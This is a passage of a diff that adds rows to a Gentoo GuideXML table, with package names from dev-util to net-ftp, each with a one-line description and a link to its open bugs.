+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/piklab">dev-util/piklab</uri></ti>
+<ti>command-line programmer and debugger for PIC and dsPIC microcontrollers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23piklab">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/plan9port">dev-util/plan9port</uri></ti>
+<ti>Plan 9 From User Space</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23plan9port">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/pmk">dev-util/pmk</uri></ti>
+<ti>Aims to be an alternative to GNU autoconf</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pmk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/pretrace">dev-util/pretrace</uri></ti>
+<ti>start dynamically linked applications under debugging environment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pretrace">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/pstack">dev-util/pstack</uri></ti>
+<ti>Display stack trace of a running process.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pstack">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/radare">dev-util/radare</uri></ti>
+<ti>Advanced command line hexadecimail editor and more</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23radare">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/rec">dev-util/rec</uri></ti>
+<ti>Reverse Engineering Compiler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rec">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/redet">dev-util/redet</uri></ti>
+<ti>A regular expression development and execution tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23redet">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/rootstrap">dev-util/rootstrap</uri></ti>
+<ti>A tool for building complete Linux filesystem images</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rootstrap">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/shc">dev-util/shc</uri></ti>
+<ti>A (shell-) script compiler/scrambler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23shc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/skelgen">dev-util/skelgen</uri></ti>
+<ti>A Skeleton Source File Generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23skelgen">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/skipfish">dev-util/skipfish</uri></ti>
+<ti>A fully automated, active web application security reconnaissance tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23skipfish">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/synopsis">dev-util/synopsis</uri></ti>
+<ti>General source code documentation tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23synopsis">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/tinlink">dev-util/tinlink</uri></ti>
+<ti>a tool to create very small elf binary from pure binary files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tinlink">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/tmake">dev-util/tmake</uri></ti>
+<ti>A Cross platform Makefile tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tmake">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/usb-robot">dev-util/usb-robot</uri></ti>
+<ti>USB Reverse engineering tools</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23usb-robot">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/visual-regexp">dev-util/visual-regexp</uri></ti>
+<ti>software that allows you to type the regexp, and visualize it on a sample of your choice</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23visual-regexp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/webcpp">dev-util/webcpp</uri></ti>
+<ti>converts source code into HTML using a customizable syntax highlight engine and colour schemes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23webcpp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/weblint">dev-util/weblint</uri></ti>
+<ti>syntax and minimal style checker for HTML by Neil Bowers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23weblint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/xdelta">dev-util/xdelta</uri></ti>
+<ti>a binary diff and differential compression tools. VCDIFF (RFC 3284) delta compression.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xdelta">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/yacc">dev-util/yacc</uri></ti>
+<ti>Yacc: Yet Another Compiler-Compiler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yacc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/archway">dev-vcs/archway</uri></ti>
+<ti>A GUI for GNU Arch</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23archway">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/cvsspam">dev-vcs/cvsspam</uri></ti>
+<ti>Utility to send colored HTML CVS-mails</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cvsspam">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/fossil">dev-vcs/fossil</uri></ti>
+<ti>simple, high-reliability, distributed software configuration management</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fossil">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/guilt">dev-vcs/guilt</uri></ti>
+<ti>A series of bash scripts which add a quilt-like interface to git</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23guilt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/rcs">dev-vcs/rcs</uri></ti>
+<ti>Revision Control System</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rcs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/stgit">dev-vcs/stgit</uri></ti>
+<ti>Manage a stack of patches using GIT as a backend</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stgit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/subversion">dev-vcs/subversion</uri></ti>
+<ti>Advanced version control system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23subversion">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/svk">dev-vcs/svk</uri></ti>
+<ti>A decentralized version control system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23svk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-vcs/svnmailer">dev-vcs/svnmailer</uri></ti>
+<ti>A subversion commit notifier written in Python</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23svnmailer">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/gnome-extra/gnome-color-chooser">gnome-extra/gnome-color-chooser</uri></ti>
+<ti>GTK+/GNOME color customization tool.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gnome-color-chooser">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/gnome-extra/hardware-monitor">gnome-extra/hardware-monitor</uri></ti>
+<ti>Gnome2 Hardware Monitor Applet</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hardware-monitor">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/mail-filter/libdomainkeys">mail-filter/libdomainkeys</uri></ti>
+<ti>libdomainkeys is a library usable by MTAs to verify and create signatures of e-mail headers.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libdomainkeys">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/mail-filter/libsrs_alt">mail-filter/libsrs_alt</uri></ti>
+<ti>Sender Rewriting Scheme library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libsrs_alt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/mail-filter/popfile">mail-filter/popfile</uri></ti>
+<ti>Anti-spam bayesian filter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23popfile">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/DFBPoint">media-gfx/DFBPoint</uri></ti>
+<ti>DFBPoint is presentation program based on DirectFB</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23DFBPoint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/aview">media-gfx/aview</uri></ti>
+<ti>An ASCII Image Viewer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23aview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/crwinfo">media-gfx/crwinfo</uri></ti>
+<ti>Canon raw image (CRW) information and thumbnail extractor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23crwinfo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/cthumb">media-gfx/cthumb</uri></ti>
+<ti>Create a statical HTML Image gallery with captions for each image.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cthumb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/figurine">media-gfx/figurine</uri></ti>
+<ti>A vector based graphics editor similar to xfig, but simpler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23figurine">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/flphoto">media-gfx/flphoto</uri></ti>
+<ti>Basic image management and display program based on the FLTK toolkit</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23flphoto">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/gozer">media-gfx/gozer</uri></ti>
+<ti>tool for rendering arbitrary text as graphics, using ttfs and styles</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gozer">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/jpeginfo">media-gfx/jpeginfo</uri></ti>
+<ti>Prints information and tests integrity of JPEG/JFIF files.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23jpeginfo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/mkgallery">media-gfx/mkgallery</uri></ti>
+<ti>Creates thumbnails and a HTML index file for a directory of jpg files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mkgallery">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/photopc">media-gfx/photopc</uri></ti>
+<ti>Utility to control digital cameras based on Sierra Imaging firmware</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23photopc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/pornview">media-gfx/pornview</uri></ti>
+<ti>Image viewer/manager with optional support for MPEG movies.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pornview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/propaganda">media-gfx/propaganda</uri></ti>
+<ti>Propaganda Volume 1-14 + E. Tiling images for your desktop</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23propaganda">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/recoverjpeg">media-gfx/recoverjpeg</uri></ti>
+<ti>Recover JPEG pictures from a possibly corrupted disk image</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23recoverjpeg">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/tgif">media-gfx/tgif</uri></ti>
+<ti>Tgif is an Xlib base 2-D drawing facility under X11.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tgif">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/videorbits">media-gfx/videorbits</uri></ti>
+<ti>a collection of programs for creating high dynamic range images</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23videorbits">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/viewer">media-gfx/viewer</uri></ti>
+<ti>A stereo pair image viewer (supports ppm's only)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23viewer">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/w3mimgfb">media-gfx/w3mimgfb</uri></ti>
+<ti>Image viewer for w3m under frame buffer environment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23w3mimgfb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/zgv">media-gfx/zgv</uri></ti>
+<ti>A svgalib console image viewer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zgv">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-gfx/zphoto">media-gfx/zphoto</uri></ti>
+<ti>A zooming photo album generator in Flash</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zphoto">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/fnlib">media-libs/fnlib</uri></ti>
+<ti>Font Library for enlightenment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fnlib">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/glew">media-libs/glew</uri></ti>
+<ti>The OpenGL Extension Wrangler Library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23glew">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/libflash">media-libs/libflash</uri></ti>
+<ti>A library for flash animations</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libflash">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/libipod">media-libs/libipod</uri></ti>
+<ti>lightweight and fast library written in C for managing Apple iPods</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libipod">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/libmnote">media-libs/libmnote</uri></ti>
+<ti>libmnote is a library for parsing, editing, and saving MakerNote-EXIF-tags.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libmnote">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/libswf">media-libs/libswf</uri></ti>
+<ti>A library for flash movies</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libswf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/libwmf">media-libs/libwmf</uri></ti>
+<ti>library for converting WMF files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libwmf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/ming">media-libs/ming</uri></ti>
+<ti>An Open Source library for Flash movie generation.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ming">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/pdflib">media-libs/pdflib</uri></ti>
+<ti>A library for generating PDF on the fly.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pdflib">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/sdl-gui">media-libs/sdl-gui</uri></ti>
+<ti>Graphical User Interface library that utilizes SDL</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sdl-gui">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/sdlmm">media-libs/sdlmm</uri></ti>
+<ti>A C++ Wrapper for the Simple DirectMedia Layer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sdlmm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-libs/yiff">media-libs/yiff</uri></ti>
+<ti>high performance and stable sound server for UNIX games and apps</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yiff">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-radio/cwdaemon">media-radio/cwdaemon</uri></ti>
+<ti>A morse daemon for the parallel or serial port</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cwdaemon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-radio/tlf">media-radio/tlf</uri></ti>
+<ti>Console-mode amateur radio contest logger</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tlf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-radio/xconvers">media-radio/xconvers</uri></ti>
+<ti>Hamradio convers client for X/GTK</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xconvers">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-sound/alsa-driver">media-sound/alsa-driver</uri></ti>
+<ti>Advanced Linux Sound Architecture kernel modules</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23alsa-driver">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-sound/lilycomp">media-sound/lilycomp</uri></ti>
+<ti>graphical note entry program for use with LilyPond</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lilycomp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-sound/xfi-drivers">media-sound/xfi-drivers</uri></ti>
+<ti>Driver for the XFI-series Creative sound cards</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xfi-drivers">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-tv/livestation">media-tv/livestation</uri></ti>
+<ti>Watch live, interactive TV and radio on the Livestation player</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23livestation">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-video/linux-uvc">media-video/linux-uvc</uri></ti>
+<ti>Linux driver and user-space tools for USB Video Class devices.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23linux-uvc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-video/qt-faststart">media-video/qt-faststart</uri></ti>
+<ti>qt-faststart rearranges quicktime files to help with better network streaming</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23qt-faststart">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/media-video/rovclock">media-video/rovclock</uri></ti>
+<ti>Overclocking utility for ATI Radeon cards</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rovclock">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-analyzer/bing">net-analyzer/bing</uri></ti>
+<ti>A point-to-point bandwidth measurement tool.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bing">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-analyzer/chaosreader">net-analyzer/chaosreader</uri></ti>
+<ti>A tool to trace TCP/UDP/... sessions and fetch application data from snoop or tcpdump logs.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23chaosreader">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-analyzer/fragroute">net-analyzer/fragroute</uri></ti>
+<ti>Testing of network intrusion detection systems, firewalls and TCP/IP stacks</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fragroute">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-analyzer/gspoof">net-analyzer/gspoof</uri></ti>
+<ti>A simple GTK/command line TCP/IP packet generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gspoof">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-analyzer/mwcollect">net-analyzer/mwcollect</uri></ti>
+<ti>mwcollect collects worms and other autonomous spreading malware</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mwcollect">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-analyzer/rtpbreak">net-analyzer/rtpbreak</uri></ti>
+<ti>Detects, reconstructs and analyzes any RTP session through heuristics over the UDP network traffic</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rtpbreak">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/bind-dns-keygen">net-dns/bind-dns-keygen</uri></ti>
+<ti>A simple BIND key generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bind-dns-keygen">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/djbdns">net-dns/djbdns</uri></ti>
+<ti>Excellent high-performance DNS services</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23djbdns">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/dlint">net-dns/dlint</uri></ti>
+<ti>Dlint analyzes any DNS zone you specify, and reports any problems.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dlint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/dnshijacker">net-dns/dnshijacker</uri></ti>
+<ti>a libnet/libpcap based packet sniffer and spoofer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dnshijacker">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/dnswalk">net-dns/dnswalk</uri></ti>
+<ti>dnswalk is a DNS database debugger</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dnswalk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/hesinfo">net-dns/hesinfo</uri></ti>
+<ti>A simple command-line interface to the net-dns/hesiod service library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hesinfo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/hesiod">net-dns/hesiod</uri></ti>
+<ti>system which uses existing DNS functionality to provide access to databases of information that changes infrequently</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hesiod">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/odsclient">net-dns/odsclient</uri></ti>
+<ti>Client for the Open Domain Server's dynamic dns</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23odsclient">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/rbldnsd">net-dns/rbldnsd</uri></ti>
+<ti>a DNS daemon which is designed to serve DNSBL zones</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rbldnsd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/sheerdns">net-dns/sheerdns</uri></ti>
+<ti>Sheerdns is a small, simple, fast master only DNS server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sheerdns">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-dns/totd">net-dns/totd</uri></ti>
+<ti>Trick Or Treat Daemon, a DNS proxy for 6to4</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23totd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/arno-iptables-firewall">net-firewall/arno-iptables-firewall</uri></ti>
+<ti>Arno's iptables firewall script</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23arno-iptables-firewall">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/dshieldpy">net-firewall/dshieldpy</uri></ti>
+<ti>Python script to submit firewall logs to dshield.org</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dshieldpy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/firehol">net-firewall/firehol</uri></ti>
+<ti>iptables firewall generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23firehol">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/fwanalog">net-firewall/fwanalog</uri></ti>
+<ti>Script to parse firewall logs and analyze them with Analog</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fwanalog">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/fwbuilder">net-firewall/fwbuilder</uri></ti>
+<ti>A firewall GUI</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fwbuilder">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/fwipsec">net-firewall/fwipsec</uri></ti>
+<ti>Firewall scripts that control iptables, FreeS/WAN, and squid.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fwipsec">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/ipchains">net-firewall/ipchains</uri></ti>
+<ti>legacy Linux firewall/packet mangling tools</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ipchains">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/ipkungfu">net-firewall/ipkungfu</uri></ti>
+<ti>A nice iptables firewall script</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ipkungfu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/ipsec-tools">net-firewall/ipsec-tools</uri></ti>
+<ti>A port of KAME's IPsec utilities to the Linux-2.6 IPsec implementation</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ipsec-tools">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/quicktables">net-firewall/quicktables</uri></ti>
+<ti>a quick iptables script generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23quicktables">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-firewall/shapecfg">net-firewall/shapecfg</uri></ti>
+<ti>configuration tool for setting traffic bandwidth parameters</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23shapecfg">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/atftp">net-ftp/atftp</uri></ti>
+<ti>Advanced TFTP implementation client/server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23atftp">Open Bugs</uri></ti></tr>
